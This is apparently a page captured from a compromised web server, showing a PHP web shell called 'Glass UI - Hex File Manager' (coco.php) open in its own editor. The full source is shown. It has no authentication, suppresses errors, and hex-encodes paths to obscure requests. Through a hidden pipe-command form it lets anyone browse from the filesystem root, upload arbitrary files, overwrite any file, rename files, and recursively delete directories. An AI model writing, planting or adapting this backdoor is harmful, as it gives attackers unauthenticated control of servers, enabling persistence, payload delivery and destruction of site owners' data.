🌐
ROOT
/
home2
/
rctse61b
📤 Upload File
📁 New Folder
✏️ EDITING: coco.php
<?php /** * GLASS UI - HEX FILE MANAGER * Logic: SplFileObject, FilesystemIterator, Stack Deletion, Hex Pipe Dispatcher */ error_reporting(0); date_default_timezone_set('Asia/Jakarta'); // [1] HEX Routing Engine function _h($s) { return bin2hex($s); } function _u($s) { return hex2bin($s); } $z_dir = isset($_GET['h']) ? _u($_GET['h']) : realpath('.'); if (!$z_dir || !file_exists($z_dir)) $z_dir = realpath('.'); $z_dir = str_replace('\\', '/', $z_dir); // [2] Pipe Command Dispatcher (Format: CMD|TARGET|VALUE) if (isset($_POST['z_cmd'])) { $x_p = explode('|', $_POST['z_cmd'], 3); $cmd = $x_p[0] ?? ''; $tgt = (isset($x_p[1]) && $x_p[1] !== '') ? _u($x_p[1]) : ''; $val = $x_p[2] ?? ''; if ($cmd === 'upl' && isset($_FILES['f'])) { move_uploaded_file($_FILES['f']['tmp_name'], $z_dir . '/' . $_FILES['f']['name']); } elseif ($cmd === 'mkd' && $val) { mkdir($z_dir . '/' . $val); } elseif ($cmd === 'ren' && $tgt && $val) { rename($tgt, dirname($tgt) . '/' . $val); } elseif ($cmd === 'del' && $tgt) { // Logika Penghapusan Iteratif (Stack-Based) - Tanpa Rekursi if (is_file($tgt)) { unlink($tgt); } else { $stack = [$tgt]; $to_del = []; while ($stack) { $d = array_pop($stack); $to_del[] = $d; $fi = new FilesystemIterator($d, FilesystemIterator::SKIP_DOTS); foreach ($fi as $f) { if ($f->isDir()) $stack[] = $f->getPathname(); else unlink($f->getPathname()); } } foreach (array_reverse($to_del) as $d) rmdir($d); } } elseif ($cmd === 'sav' && $tgt) { // Penulisan File menggunakan SplFileObject $f_obj = new SplFileObject($tgt, 'w'); $f_obj->fwrite($_POST['z_val']); $f_obj = null; } header("Location: ?h=" . _h($z_dir)); exit; } // [3] FilesystemIterator Reader (Memuat detail file & tanggal) $z_list = []; if (is_readable($z_dir)) { $ite = new FilesystemIterator($z_dir, FilesystemIterator::SKIP_DOTS); foreach ($ite as $fi) { $z_list[] = [ 'n' => $fi->getFilename(), 'd' => $fi->isDir(), 's' => $fi->isDir() ? '-' : $fi->getSize(), 't' => date('d/m/Y - H:i', $fi->getMTime()), 'h' => _h($fi->getPathname()) ]; } } usort($z_list, function($a, $b) { if ($a['d'] == $b['d']) return strcasecmp($a['n'], $b['n']); return $a['d'] ? -1 : 1; }); // [4] SplFileObject Reader (Untuk Editor) $z_txt = ''; if (isset($_GET['e']) && is_file(_u($_GET['e']))) { $f_obj = new SplFileObject(_u($_GET['e']), 'r'); if ($f_obj->getSize() > 0) { $z_txt = $f_obj->fread($f_obj->getSize()); } $f_obj = null; } // Breadcrumbs $b_parts = explode('/', trim($z_dir, '/')); $b_path = ''; $b_html = '<a href="?h=' . _h('/') . '">ROOT</a>'; foreach ($b_parts as $p) { if ($p === '') continue; $b_path .= '/' . $p; $b_html .= ' <span style="opacity:0.5;">/</span> <a href="?h=' . _h($b_path) . '">' . htmlspecialchars($p) . '</a>'; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Glass Manager</title> <style> :root { --bg: linear-gradient(135deg, #667eea 0%, #764ba2 100%); --glass: rgba(255, 255, 255, 0.1); --border: rgba(255, 255, 255, 0.2); } body { font-family: 'Segoe UI', Tahoma, sans-serif; background: var(--bg); color: #fff; margin: 0; padding: 20px; min-height: 100vh; } .glass-box { background: var(--glass); backdrop-filter: blur(10px); -webkit-backdrop-filter: blur(10px); border: 1px solid var(--border); border-radius: 15px; padding: 20px; box-shadow: 0 8px 32px 0 rgba(0, 0, 0, 0.3); margin-bottom: 20px; } a { color: #fff; text-decoration: none; transition: 0.3s; } a:hover { color: #ffd700; } .head { font-size: 14px; font-weight: bold; letter-spacing: 1px; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px solid var(--border); } table { width: 100%; border-collapse: collapse; } th, td { padding: 12px; text-align: left; border-bottom: 1px solid rgba(255,255,255,0.05); } th { font-weight: 600; text-transform: uppercase; font-size: 12px; opacity: 0.7; } tr:hover { background: rgba(255,255,255,0.05); } button, .btn { background: rgba(255,255,255,0.15); border: 1px solid var(--border); color: #fff; padding: 6px 12px; border-radius: 8px; cursor: pointer; font-size: 12px; transition: 0.2s; outline: none; } button:hover, .btn:hover { background: rgba(255,255,255,0.3); } .btn-red { background: rgba(255, 75, 75, 0.3); border-color: rgba(255, 75, 75, 0.5); } .btn-red:hover { background: rgba(255, 75, 75, 0.6); } input[type="text"], textarea { width: 100%; background: rgba(0,0,0,0.2); border: 1px solid var(--border); color: #fff; padding: 10px; border-radius: 8px; box-sizing: border-box; font-family: monospace; outline: none; } textarea { height: 400px; resize: vertical; } .icon { width: 25px; display: inline-block; text-align: center; font-size: 16px; } .date { font-size: 11px; opacity: 0.7; background: rgba(0,0,0,0.2); padding: 4px 8px; border-radius: 4px; } </style> </head> <body> <div style="max-width: 1000px; margin: 0 auto;"> <div class="glass-box"> <div class="head">🌐 <?php echo $b_html; ?></div> <div style="display: flex; gap: 10px; align-items: center; flex-wrap: wrap;"> <button onclick="document.getElementById('f_up').click()">📤 Upload File</button> <button onclick="sysCmd('mkd', '', 'Nama Folder Baru:')">📁 New Folder</button> </div> <!-- Hidden Upload Form --> <form method="POST" id="frm_up" enctype="multipart/form-data" style="display:none;"> <input type="hidden" name="z_cmd" value="upl||"> <input type="file" name="f" id="f_up" onchange="document.getElementById('frm_up').submit()"> </form> </div> <?php if (isset($_GET['e'])): ?> <div class="glass-box"> <div class="head">✏️ EDITING: <?php echo htmlspecialchars(basename(_u($_GET['e']))); ?></div> <form method="POST"> <input type="hidden" name="z_cmd" value="sav|<?php echo $_GET['e']; ?>|"> <textarea name="z_val" spellcheck="false"><?php echo htmlspecialchars($z_txt); ?></textarea> <div style="margin-top: 15px; display: flex; gap: 10px;"> <button type="submit" style="background: rgba(46, 204, 113, 0.3);">💾 SAVE CHANGES</button> <a href="?h=<?php echo _h($z_dir); ?>" class="btn btn-red">CANCEL</a> </div> </form> </div> <?php else: ?> <div class="glass-box" style="padding: 0; overflow-x: auto;"> <table> <tr> <th>Item Name</th> <th>Size</th> <th>Date Modified</th> <th style="text-align: right;">Controls</th> </tr> <?php foreach ($z_list as $i): ?> <tr> <td> <?php if ($i['d']): ?> <a href="?h=<?php echo $i['h']; ?>"><b><span class="icon">📁</span> <?php echo htmlspecialchars($i['n']); ?></b></a> <?php else: ?> <span class="icon">📄</span> <?php echo htmlspecialchars($i['n']); ?> <?php endif; ?> </td> <td><?php echo $i['s'] !== '-' ? number_format($i['s']/1024, 2).' KB' : '-'; ?></td> <td><span class="date"><?php echo $i['t']; ?></span></td> <td style="text-align: right;"> <?php if (!$i['d']): ?> <a href="?h=<?php echo _h($z_dir); ?>&e=<?php echo $i['h']; ?>" class="btn">Edit</a> <?php endif; ?> <button class="btn" onclick="sysCmd('ren', '<?php echo $i['h']; ?>', 'Ubah nama dari <?php echo addslashes($i['n']); ?> menjadi:', '<?php echo addslashes($i['n']); ?>')">Ren</button> <button class="btn btn-red" onclick="sysCmd('del', '<?php echo $i['h']; ?>', 'Hapus permanen <?php echo addslashes($i['n']); ?>?', '', true)">Del</button> </td> </tr> <?php endforeach; ?> </table> </div> <?php endif; ?> <!-- Master Command Form (The Pipe) --> <form method="POST" id="frm_cmd" style="display:none;"> <input type="hidden" name="z_cmd" id="z_cmd_val"> </form> </div> <script> // Fungsi JavaScript tunggal untuk merakit format komando pipa (Pipe format: CMD|TGT|VAL) function sysCmd(cmd, tgt, msg, def = '', isConfirm = false) { let val = ''; if (isConfirm) { if (!confirm(msg)) return; } else { val = prompt(msg, def); if (!val || val === def) return; } document.getElementById('z_cmd_val').value = cmd + '|' + tgt + '|' + val; document.getElementById('frm_cmd').submit(); } </script> </body> </html>
💾 SAVE CHANGES
CANCEL